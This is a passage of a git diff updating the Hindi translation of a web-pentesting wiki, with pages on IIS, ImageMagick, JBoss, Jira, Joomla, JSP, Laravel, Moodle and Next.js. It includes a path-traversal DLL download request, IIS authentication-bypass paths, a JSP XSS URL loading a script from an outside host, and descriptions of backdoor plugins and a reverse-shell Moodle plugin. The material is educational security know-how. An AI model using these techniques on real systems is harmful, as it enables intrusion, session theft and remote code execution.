**WebApplication1.dll** डाउनलोड करने के लिए एक अनुरोध दिखाया गया है: ```markup GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` यह अन्य आवश्यक DLLs की उपस्थिति का सुझाव देता है, जैसे **System.Web.Mvc.dll** और **System.Web.Optimization.dll**, /bin निर्देशिका में। -एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के होने का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है। +एक परिदृश्य में जहां एक DLL एक नामस्थान आयात करता है जिसे **WebApplication1.Areas.Minded** कहा जाता है, एक हमलावर अन्य web.config फ़ाइलों के अस्तित्व का अनुमान लगा सकता है जो पूर्वानुमानित पथों में हैं, जैसे **/area-name/Views/**, जिसमें विशिष्ट कॉन्फ़िगरेशन और /bin फ़ोल्डर में अन्य DLLs के संदर्भ शामिल हैं। उदाहरण के लिए, **/Minded/Views/web.config** के लिए एक अनुरोध कॉन्फ़िगरेशन और नामस्थान प्रकट कर सकता है जो एक अन्य DLL, **WebApplication1.AdditionalFeatures.dll** की उपस्थिति को इंगित करता है। ### सामान्य फ़ाइलें @@ -185,17 +185,17 @@ C:\xampp\tomcat\conf\server.xml यदि आप निम्नलिखित त्रुटि देखते हैं: -![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) +![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) इसका मतलब है कि सर्वर ने **Host header** के अंदर सही डोमेन नाम **नहीं प्राप्त किया**।\ -वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर द्वारा प्रदत्त **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts** पर **brute force** करना पड़ सकता है। +वेब पृष्ठ तक पहुँचने के लिए, आप सर्वर किए गए **SSL Certificate** को देख सकते हैं और शायद आप वहां डोमेन/सबडोमेन नाम पा सकते हैं। यदि यह वहाँ नहीं है, तो आपको सही एक को खोजने के लिए **VHosts को ब्रूट फोर्स** करने की आवश्यकता हो सकती है। ## Old IIS vulnerabilities worth looking for ### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure -आप इस **technique** का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर **folders और files** को **enumerate** करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।\ -इस तकनीक की मुख्य सीमा यदि सर्वर कमजोर है तो यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकता है।** +आप इस **technique** का उपयोग करके हर खोजे गए फ़ोल्डर के अंदर **फोल्डर्स और फ़ाइलों को सूचीबद्ध** करने की कोशिश कर सकते हैं (यहां तक कि यदि यह Basic Authentication की आवश्यकता है)।\ +यदि सर्वर कमजोर है, तो इस तकनीक की मुख्य सीमा यह है कि **यह प्रत्येक फ़ाइल/फ़ोल्डर के नाम के पहले 6 अक्षरों और फ़ाइलों के एक्सटेंशन के पहले 3 अक्षरों को ही खोज सकती है**। आप इस कमजोरी के लिए परीक्षण करने के लिए [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) का उपयोग कर सकते हैं:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` @@ -205,13 +205,13 @@ C:\xampp\tomcat\conf\server.xml आप **metasploit** का भी उपयोग कर सकते हैं: `use scanner/http/iis_shortname_scanner` -खोजे गए फ़ाइलों के **अंतिम नाम** को **खोजने** के लिए एक अच्छा विचार है कि आप **LLMs** से विकल्प पूछें जैसे कि इसे स्क्रिप्ट [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) में किया गया है। +खोजी गई फ़ाइलों के **अंतिम नाम** को **खोजने** के लिए एक अच्छा विचार है कि आप **LLMs** से विकल्प पूछें जैसे कि इसे स्क्रिप्ट [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) में किया गया है। ### Basic Authentication bypass **Bypass** एक बेसिक ऑथेंटिकेशन (**IIS 7.5**) को एक्सेस करने की कोशिश करते हुए: `/admin:$i30:$INDEX_ALLOCATION/admin.php` या `/admin::$INDEX_ALLOCATION/admin.php` -आप नए **folders** खोजने और ऑथेंटिकेशन को **bypass** करने के लिए इस **vulnerability** और पिछले एक को **mix** करने की कोशिश कर सकते हैं। +आप नए **फोल्डर्स** खोजने और ऑथेंटिकेशन को **बायपास** करने के लिए इस **vulnerability** और पिछले वाले को **मिश्रित** करने की कोशिश कर सकते हैं। ## ASP.NET Trace.AXD enabled debugging @@ -231,15 +231,15 @@ ASPXAUTH निम्नलिखित जानकारी का उपय - **`validationKey`** (string): हस्ताक्षर सत्यापन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी। - **`decryptionMethod`** (string): (डिफ़ॉल्ट “AES”)। -- **`decryptionIV`** (string): हेक्स-कोडित प्रारंभिक वेक्टर (डिफ़ॉल्ट रूप से शून्य का वेक्टर)। +- **`decryptionIV`** (string): हेक्स-कोडित प्रारंभिक वेक्टर (डिफ़ॉल्ट शून्य वेक्टर)। - **`decryptionKey`** (string): डिक्रिप्शन के लिए उपयोग करने के लिए हेक्स-कोडित कुंजी। -हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो **एक ही प्लेटफ़ॉर्म** का उपयोग कर रहा है जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं** जिसे आप हमले के तहत सर्वर पर **impersonate** करना चाहते हैं, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का **impersonate** कर सकते हैं।\ +हालांकि, कुछ लोग इन पैरामीटर के **डिफ़ॉल्ट मानों** का उपयोग करेंगे और **कुकी के रूप में उपयोगकर्ता का ईमेल** का उपयोग करेंगे। इसलिए, यदि आप एक वेब खोज सकते हैं जो ASPXAUTH कुकी का उपयोग कर रहा है और आप **हमले के तहत सर्वर पर उस उपयोगकर्ता के ईमेल के साथ एक उपयोगकर्ता बनाते हैं**, तो आप पहले सर्वर में दूसरे सर्वर की कुकी का उपयोग करके उपयोगकर्ता का **प्रतिरूपण** कर सकते हैं।\ यह हमला इस [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) में काम किया। ## IIS Authentication Bypass with cached passwords (CVE-2022-30209) -[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी** पर हिट करता है जो पहले से ही **cache** में है, वह उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा। +[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): कोड में एक बग **उपयोगकर्ता द्वारा दिए गए पासवर्ड की सही जांच नहीं करता**, इसलिए एक हमलावर जिसका **पासवर्ड हैश एक कुंजी पर हिट करता है** जो पहले से ही **कैश** में है, उस उपयोगकर्ता के रूप में लॉगिन करने में सक्षम होगा। ```python # script for sanity check > type test.py diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index cde57bc97..0507dc5b5 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -4,15 +4,15 @@ अधिक जानकारी के लिए देखें [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) -ImageMagick, एक बहुपरकारी छवि प्रसंस्करण पुस्तकालय, अपनी सुरक्षा नीति को कॉन्फ़िगर करने में चुनौती प्रस्तुत करता है क्योंकि इसके पास व्यापक विकल्प हैं और ऑनलाइन दस्तावेज़ीकरण की कमी है। उपयोगकर्ता अक्सर इंटरनेट के टुकड़ों पर आधारित नीतियाँ बनाते हैं, जिससे संभावित गलत कॉन्फ़िगरेशन हो सकते हैं। यह पुस्तकालय 100 से अधिक छवि प्रारूपों की एक विशाल श्रृंखला का समर्थन करता है, जो इसकी जटिलता और संवेदनशीलता प्रोफ़ाइल में योगदान करता है, जैसा कि ऐतिहासिक सुरक्षा घटनाओं से स्पष्ट है। +ImageMagick, एक बहुपरकारी छवि प्रसंस्करण पुस्तकालय, अपनी सुरक्षा नीति को कॉन्फ़िगर करने में चुनौती प्रस्तुत करता है क्योंकि इसके पास व्यापक विकल्प हैं और विस्तृत ऑनलाइन दस्तावेज़ की कमी है। उपयोगकर्ता अक्सर इंटरनेट के टुकड़ों पर आधारित नीतियाँ बनाते हैं, जिससे संभावित गलत कॉन्फ़िगरेशन हो सकते हैं। यह पुस्तकालय 100 से अधिक छवि प्रारूपों की एक विशाल श्रृंखला का समर्थन करता है, जो इसकी जटिलता और कमजोरियों की प्रोफ़ाइल में योगदान करता है, जैसा कि ऐतिहासिक सुरक्षा घटनाओं से प्रदर्शित होता है। ## सुरक्षित नीतियों की ओर -इन चुनौतियों का समाधान करने के लिए, एक [उपकरण विकसित किया गया है](https://imagemagick-secevaluator.doyensec.com/) जो ImageMagick की सुरक्षा नीतियों को डिजाइन और ऑडिट करने में मदद करता है। यह उपकरण व्यापक शोध पर आधारित है और यह सुनिश्चित करने का लक्ष्य रखता है कि नीतियाँ न केवल मजबूत हों बल्कि उन छिद्रों से भी मुक्त हों जिन्हें शोषित किया जा सकता है। +इन चुनौतियों का समाधान करने के लिए, एक [उपकरण विकसित किया गया है](https://imagemagick-secevaluator.doyensec.com/) जो ImageMagick की सुरक्षा नीतियों को डिजाइन और ऑडिट करने में मदद करता है। यह उपकरण व्यापक अनुसंधान पर आधारित है और यह सुनिश्चित करने का लक्ष्य रखता है कि नीतियाँ न केवल मजबूत हों बल्कि उन छिद्रों से भी मुक्त हों जिन्हें शोषित किया जा सकता है। ## अनुमति सूची बनाम निषेध सूची दृष्टिकोण -ऐतिहासिक रूप से, ImageMagick नीतियाँ एक निषेध सूची दृष्टिकोण पर निर्भर करती थीं, जहाँ विशिष्ट कोडर्स को पहुँच से वंचित किया गया था। हालाँकि, ImageMagick 6.9.7-7 में परिवर्तनों ने इस पैरेडाइम को बदल दिया, जिससे अनुमति सूची दृष्टिकोण को सक्षम किया गया। यह दृष्टिकोण पहले सभी कोडर्स को अस्वीकार करता है और फिर चयनात्मक रूप से विश्वसनीय कोडर्स को पहुँच प्रदान करता है, सुरक्षा स्थिति को बढ़ाता है। +ऐतिहासिक रूप से, ImageMagick नीतियाँ एक निषेध सूची दृष्टिकोण पर निर्भर करती थीं, जहाँ विशिष्ट कोडर्स को पहुँच से वंचित किया गया था। हालाँकि, ImageMagick 6.9.7-7 में परिवर्तनों ने इस पैरेडाइम को बदल दिया, जिससे अनुमति सूची दृष्टिकोण को सक्षम किया गया। यह दृष्टिकोण पहले सभी कोडर्स को अस्वीकार करता है और फिर चयनात्मक रूप से विश्वसनीय कोडर्स को पहुँच प्रदान करता है, जिससे सुरक्षा स्थिति में सुधार होता है। ```xml ... @@ -21,11 +21,11 @@ ImageMagick, एक बहुपरकारी छवि प्रसंस् ``` ## नीतियों में केस संवेदनशीलता -यह ध्यान रखना महत्वपूर्ण है कि ImageMagick में नीति पैटर्न केस संवेदनशील होते हैं। इसलिए, नीतियों में कोडर्स और मॉड्यूल को सही ढंग से अपरकेस करना अनिवार्य है ताकि अनपेक्षित अनुमतियों से बचा जा सके। +यह ध्यान रखना महत्वपूर्ण है कि ImageMagick में नीति पैटर्न केस संवेदनशील होते हैं। इसलिए, नीतियों में कोडर्स और मॉड्यूल को सही तरीके से अपर-कैस्ड करना अनिवार्य है ताकि अनपेक्षित अनुमतियों से बचा जा सके। ## संसाधन सीमाएँ -यदि सही ढंग से कॉन्फ़िगर नहीं किया गया तो ImageMagick सेवा से इनकार के हमलों के प्रति संवेदनशील है। ऐसी कमजोरियों से बचने के लिए नीति में स्पष्ट संसाधन सीमाएँ निर्धारित करना आवश्यक है। +यदि सही तरीके से कॉन्फ़िगर नहीं किया गया तो ImageMagick सेवा से इनकार के हमलों के प्रति संवेदनशील है। ऐसी कमजोरियों से बचने के लिए नीति में स्पष्ट संसाधन सीमाएँ निर्धारित करना आवश्यक है। ## नीति विखंडन diff --git a/src/network-services-pentesting/pentesting-web/jboss.md b/src/network-services-pentesting/pentesting-web/jboss.md index 5d01f18fd..5313f80f0 100644 --- a/src/network-services-pentesting/pentesting-web/jboss.md +++ b/src/network-services-pentesting/pentesting-web/jboss.md @@ -11,7 +11,7 @@ - JBoss संस्करण 6 और 7 के लिए, **/web-console/Invoker** का उपयोग किया जाता है। - JBoss 5 और पूर्व के संस्करणों में, **/invoker/JMXInvokerServlet** और **/invoker/EJBInvokerServlet** उपलब्ध हैं। -**clusterd** जैसे उपकरण, जो [https://github.com/hatRiot/clusterd](https://github.com/hatRiot/clusterd) पर उपलब्ध हैं, और Metasploit मॉड्यूल `auxiliary/scanner/http/jboss_vulnscan` का उपयोग JBOSS सेवाओं में कमजोरियों की पहचान और संभावित शोषण के लिए किया जा सकता है। +**clusterd** जैसे उपकरण, जो [https://github.com/hatRiot/clusterd](https://github.com/hatRiot/clusterd) पर उपलब्ध है, और Metasploit मॉड्यूल `auxiliary/scanner/http/jboss_vulnscan` का उपयोग JBOSS सेवाओं में कमजोरियों की पहचान और संभावित शोषण के लिए किया जा सकता है। ### Exploitation Resources diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md index 345644f1e..148676c0a 100644 --- a/src/network-services-pentesting/pentesting-web/jira.md +++ b/src/network-services-pentesting/pentesting-web/jira.md @@ -4,7 +4,7 @@ ## Check Privileges -Jira में, **privileges को किसी भी उपयोगकर्ता द्वारा चेक किया जा सकता है**, चाहे वह प्रमाणित हो या न हो, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` के endpoints के माध्यम से। ये endpoints उपयोगकर्ता के वर्तमान privileges को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताओं के पास privileges होते हैं**, जो एक **सुरक्षा कमजोरी** को इंगित करता है जो संभावित रूप से **बाउंटी** के लिए योग्य हो सकता है। इसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित privileges** भी एक **कमजोरी** को उजागर करते हैं। +Jira में, **privileges को किसी भी उपयोगकर्ता द्वारा जांचा जा सकता है**, चाहे वह प्रमाणित हो या न हो, `/rest/api/2/mypermissions` या `/rest/api/3/mypermissions` के endpoints के माध्यम से। ये endpoints उपयोगकर्ता के वर्तमान privileges को प्रकट करते हैं। एक महत्वपूर्ण चिंता तब उत्पन्न होती है जब **गैर-प्रमाणित उपयोगकर्ताओं के पास privileges होते हैं**, जो एक **सुरक्षा कमजोरी** को इंगित करता है जो संभावित रूप से **बाउंटी** के लिए योग्य हो सकता है। इसी तरह, **प्रमाणित उपयोगकर्ताओं के लिए अप्रत्याशित privileges** भी एक **कमजोरी** को उजागर करते हैं। **1 फरवरी 2019** को एक महत्वपूर्ण **अपडेट** किया गया, जिसमें 'mypermissions' endpoint को एक **'permission' parameter** शामिल करने की आवश्यकता थी। यह आवश्यकता **सुरक्षा को बढ़ाने** के लिए है, जो पूछे जा रहे privileges को निर्दिष्ट करती है: [check it here](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) @@ -55,18 +55,18 @@ Example: `https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions #Check non-authenticated privileges curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true' ``` -## Automated enumeration +## स्वचालित गणना - [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe) - [https://github.com/bcoles/jira_scan](https://github.com/bcoles/jira_scan) -## Atlasian Plugins +## एटलसियन प्लगइन्स -जैसा कि इस [**ब्लॉग**](https://cyllective.com/blog/posts/atlassian-audit-plugins) में संकेत दिया गया है, [Plugin modules ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) के बारे में दस्तावेज़ में विभिन्न प्रकार के प्लगइन्स की जांच करना संभव है, जैसे: +जैसा कि इस [**ब्लॉग**](https://cyllective.com/blog/posts/atlassian-audit-plugins) में संकेत दिया गया है, [प्लगइन मॉड्यूल्स ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/plugin-modules/) के बारे में दस्तावेज़ में विभिन्न प्रकार के प्लगइन्स की जांच करना संभव है, जैसे: -- [REST Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): RESTful API endpoints को उजागर करें -- [Servlet Plugin Module ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): एक प्लगइन के हिस्से के रूप में Java servlets को तैनात करें -- [Macro Plugin Module ↗](https://developer.atlassian.com/server/confluence/macro-module/): Confluence Macros को लागू करें, यानी पैरामीटरयुक्त HTML टेम्पलेट +- [REST प्लगइन मॉड्यूल ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): RESTful API एंडपॉइंट्स को उजागर करें +- [सर्वलेट प्लगइन मॉड्यूल ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): एक प्लगइन के हिस्से के रूप में जावा सर्वलेट्स को तैनात करें +- [मैक्रो प्लगइन मॉड्यूल ↗](https://developer.atlassian.com/server/confluence/macro-module/): Confluence मैक्रोज़ को लागू करें, यानी पैरामीटरयुक्त HTML टेम्पलेट्स यह मैक्रो प्लगइन प्रकार का एक उदाहरण है: ```java @@ -93,9 +93,9 @@ public BodyType getBodyType() { return BodyType.NONE; } public OutputType getOutputType() { return OutputType.BLOCK; } } ``` -यह देखना संभव है कि ये प्लगइन सामान्य वेब कमजोरियों जैसे XSS के प्रति संवेदनशील हो सकते हैं। उदाहरण के लिए, पिछले उदाहरण में यह संवेदनशील है क्योंकि यह उपयोगकर्ता द्वारा दिए गए डेटा को दर्शा रहा है। +यह देखना संभव है कि ये प्लगइन्स सामान्य वेब कमजोरियों जैसे XSS के प्रति संवेदनशील हो सकते हैं। उदाहरण के लिए, पिछले उदाहरण में यह संवेदनशील है क्योंकि यह उपयोगकर्ता द्वारा दिए गए डेटा को दर्शा रहा है। -एक बार जब XSS मिल जाता है, तो [**इस github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) में आप XSS के प्रभाव को बढ़ाने के लिए कुछ पेलोड पा सकते हैं। +एक बार जब XSS मिल जाता है, तो [**इस github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) में आप XSS के प्रभाव को बढ़ाने के लिए कुछ पेलोड्स पा सकते हैं। ## बैकडोर प्लगइन @@ -103,11 +103,12 @@ public OutputType getOutputType() { return OutputType.BLOCK; } ये कुछ क्रियाएँ हैं जो एक दुष्ट प्लगइन कर सकता है: -- **एडमिन से प्लगइन्स छिपाना**: कुछ फ्रंट-एंड जावास्क्रिप्ट इंजेक्ट करके दुष्ट प्लगइन को छिपाना संभव है। -- **अटैचमेंट और पृष्ठों को एक्सफिल्ट्रेट करना**: सभी डेटा तक पहुंचने और उसे एक्सफिल्ट्रेट करने की अनुमति देना। -- **सत्र टोकन चुराना**: एक एंडपॉइंट जोड़ें जो प्रतिक्रिया में हेडर को इको करेगा (कुकी के साथ) और कुछ जावास्क्रिप्ट जो इसे संपर्क करेगा और कुकीज़ को लीक करेगा। +- **एडमिन से प्लगइन्स छिपाना**: यह संभव है कि कुछ फ्रंट-एंड जावास्क्रिप्ट इंजेक्ट करके दुष्ट प्लगइन को छिपाया जाए। +- **अटैचमेंट और पृष्ठों का एक्सफिल्ट्रेट करना**: सभी डेटा तक पहुंचने और उसे एक्सफिल्ट्रेट करने की अनुमति देना। +- **सत्र टोकन चुराना**: एक एंडपॉइंट जोड़ें जो प्रतिक्रिया में हेडर को (कुकी के साथ) इको करेगा और कुछ जावास्क्रिप्ट जो इसे संपर्क करेगा और कुकीज़ को लीक करेगा। - **कमांड निष्पादन**: निश्चित रूप से, एक प्लगइन बनाना संभव है जो कोड निष्पादित करेगा। - **रिवर्स शेल**: या एक रिवर्स शेल प्राप्त करें। -- **DOM प्रॉक्सींग**: यदि कॉन्फ्लुएंस एक निजी नेटवर्क के अंदर है, तो यह संभव होगा कि कुछ उपयोगकर्ता के ब्राउज़र के माध्यम से एक कनेक्शन स्थापित किया जाए जो इसके लिए पहुंच रखता है और उदाहरण के लिए सर्वर कमांड निष्पादित करने के लिए संपर्क करे। +- **DOM प्रॉक्सीकरण**: यदि कॉन्फ्लुएंस एक निजी नेटवर्क के अंदर है, तो यह संभव होगा कि कुछ उपयोगकर्ता के ब्राउज़र के माध्यम से कनेक्शन स्थापित किया जाए जो इसके लिए पहुंच रखता है और उदाहरण के लिए सर्वर कमांड निष्पादित करने के लिए संपर्क करे। + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 9cef50e7c..c738c1ed5 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -106,7 +106,7 @@ admin:admin - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla शोषण स्क्रिप्ट जो **XSS को RCE या अन्य महत्वपूर्ण कमजोरियों में बढ़ाती है**। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Joomla संस्करण 5.X.X, 4.X.X, और 3.X.X के लिए समर्थन प्रदान करता है, और अनुमति देता है:** - _**Privilege Escalation:**_ Joomla में एक उपयोगकर्ता बनाता है। - _**(RCE) Built-In Templates Edit:**_ Joomla में एक Built-In Templates को संपादित करता है। -- _**(Custom) Custom Exploits:**_ तृतीय-पक्ष Joomla Plugins के लिए कस्टम शोषण। +- _**(Custom) Custom Exploits:**_ तृतीय-पक्ष Joomla प्लगइन्स के लिए कस्टम शोषण। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/jsp.md b/src/network-services-pentesting/pentesting-web/jsp.md index 96ce9dbc2..e694e3f68 100644 --- a/src/network-services-pentesting/pentesting-web/jsp.md +++ b/src/network-services-pentesting/pentesting-web/jsp.md @@ -4,7 +4,7 @@ ## **getContextPath** दुरुपयोग -Info from [here](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html). +[यहाँ](https://blog.rakeshmane.com/2020/04/jsp-contextpath-link-manipulation-xss.html) से जानकारी। ``` http://127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp ``` diff --git a/src/network-services-pentesting/pentesting-web/laravel.md b/src/network-services-pentesting/pentesting-web/laravel.md index 43ea91d99..8f220bf7b 100644 --- a/src/network-services-pentesting/pentesting-web/laravel.md +++ b/src/network-services-pentesting/pentesting-web/laravel.md @@ -16,7 +16,7 @@ ### .env -Laravel उस APP को एक फ़ाइल में सहेजता है जिसका उपयोग वह कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए करता है, जिसे `.env` कहा जाता है, जिसे कुछ पथ यात्रा के तहत पहुँचा जा सकता है: `/../.env` +Laravel APP को कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए एक फ़ाइल में `.env` के नाम से सहेजता है, जिसे कुछ पथ ट्रैवर्सल का उपयोग करके पहुँचा जा सकता है: `/../.env` Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel को कोई त्रुटि मिलती है और यह सक्रिय होता है)। diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 4c7049037..93b49b334 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -67,13 +67,13 @@ cmsmap http://moodle.example.com/ ## **RCE** -आपको **प्रबंधक** भूमिका होनी चाहिए और आप **"Site administration"** टैब के अंदर **प्लगइन्स इंस्टॉल कर सकते हैं**\*\*:\*\* +आपको **प्रबंधक** भूमिका होनी चाहिए और आप **"Site administration"** टैब के अंदर **प्लगइन्स स्थापित कर सकते हैं**\*\*:\*\* ![](<../../images/image (630).png>) -यदि आप प्रबंधक हैं, तो आपको **इस विकल्प को सक्रिय करने** की आवश्यकता हो सकती है। आप देख सकते हैं कि moodle विशेषाधिकार वृद्धि PoC में कैसे: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)। +यदि आप प्रबंधक हैं, तो भी आपको **इस विकल्प को सक्रिय करने** की आवश्यकता हो सकती है। आप देख सकते हैं कि moodle विशेषाधिकार वृद्धि PoC में कैसे: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)। -फिर, आप **निम्नलिखित प्लगइन इंस्टॉल कर सकते हैं** जिसमें क्लासिक pentest-monkey php r**ev shell** (_इसे अपलोड करने से पहले आपको इसे अनजिप करना होगा, revshell का IP और पोर्ट बदलना होगा और फिर से संकुचित करना होगा_) +फिर, आप **निम्नलिखित प्लगइन स्थापित कर सकते हैं** जिसमें क्लासिक pentest-monkey php r**ev shell** है (_इसे अपलोड करने से पहले आपको इसे अनजिप करना होगा, revshell का IP और पोर्ट बदलना होगा और फिर से संकुचित करना होगा_) {% file src="../../images/moodle-rce-plugin.zip" %} diff --git a/src/network-services-pentesting/pentesting-web/nextjs.md b/src/network-services-pentesting/pentesting-web/nextjs.md index dfe89be11..538a9cd4f 100644 --- a/src/network-services-pentesting/pentesting-web/nextjs.md +++ b/src/network-services-pentesting/pentesting-web/nextjs.md @@ -43,21 +43,21 @@ my-nextjs-app/ ``` ### Core Directories and Files -- **public/:** स्थिर संपत्तियों जैसे छवियों, फोंट और अन्य फ़ाइलों को होस्ट करता है। यहाँ फ़ाइलें रूट पथ (`/`) पर सुलभ हैं। -- **app/:** आपके एप्लिकेशन के पृष्ठों, लेआउट, घटकों और API मार्गों के लिए केंद्रीय निर्देशिका। **App Router** पैराजाइम को अपनाता है, जो उन्नत रूटिंग सुविधाओं और सर्वर-क्लाइंट घटक पृथक्करण को सक्षम बनाता है। +- **public/:** स्थिर संपत्तियों जैसे छवियों, फ़ॉन्टों और अन्य फ़ाइलों को होस्ट करता है। यहाँ की फ़ाइलें रूट पथ (`/`) पर सुलभ हैं। +- **app/:** आपके एप्लिकेशन के पृष्ठों, लेआउट, घटकों और API मार्गों के लिए केंद्रीय निर्देशिका। **App Router** पैरेडाइम को अपनाता है, जो उन्नत रूटिंग सुविधाओं और सर्वर-क्लाइंट घटक पृथक्करण को सक्षम बनाता है। - **app/layout.tsx:** आपके एप्लिकेशन के लिए रूट लेआउट को परिभाषित करता है, सभी पृष्ठों के चारों ओर लपेटता है और हेडर, फुटर और नेविगेशन बार जैसे सुसंगत UI तत्व प्रदान करता है। - **app/page.tsx:** रूट मार्ग `/` के लिए प्रवेश बिंदु के रूप में कार्य करता है, होम पृष्ठ को रेंडर करता है। - **app/\[route]/page.tsx:** स्थिर और गतिशील मार्गों को संभालता है। `app/` के भीतर प्रत्येक फ़ोल्डर एक मार्ग खंड का प्रतिनिधित्व करता है, और उन फ़ोल्डरों के भीतर `page.tsx` उस मार्ग के घटक के अनुरूप होता है। - **app/api/:** API मार्गों को समाहित करता है, जिससे आप HTTP अनुरोधों को संभालने के लिए सर्वरलेस फ़ंक्शन बना सकते हैं। ये मार्ग पारंपरिक `pages/api` निर्देशिका को प्रतिस्थापित करते हैं। - **app/components/:** पुन: प्रयोज्य React घटकों को समाहित करता है जिन्हें विभिन्न पृष्ठों और लेआउट में उपयोग किया जा सकता है। - **app/styles/:** वैश्विक CSS फ़ाइलें और घटक-स्कोप्ड स्टाइलिंग के लिए CSS मॉड्यूल समाहित करता है। -- **app/utils/:** उपयोगिता फ़ंक्शन, सहायक मॉड्यूल और अन्य गैर-UI 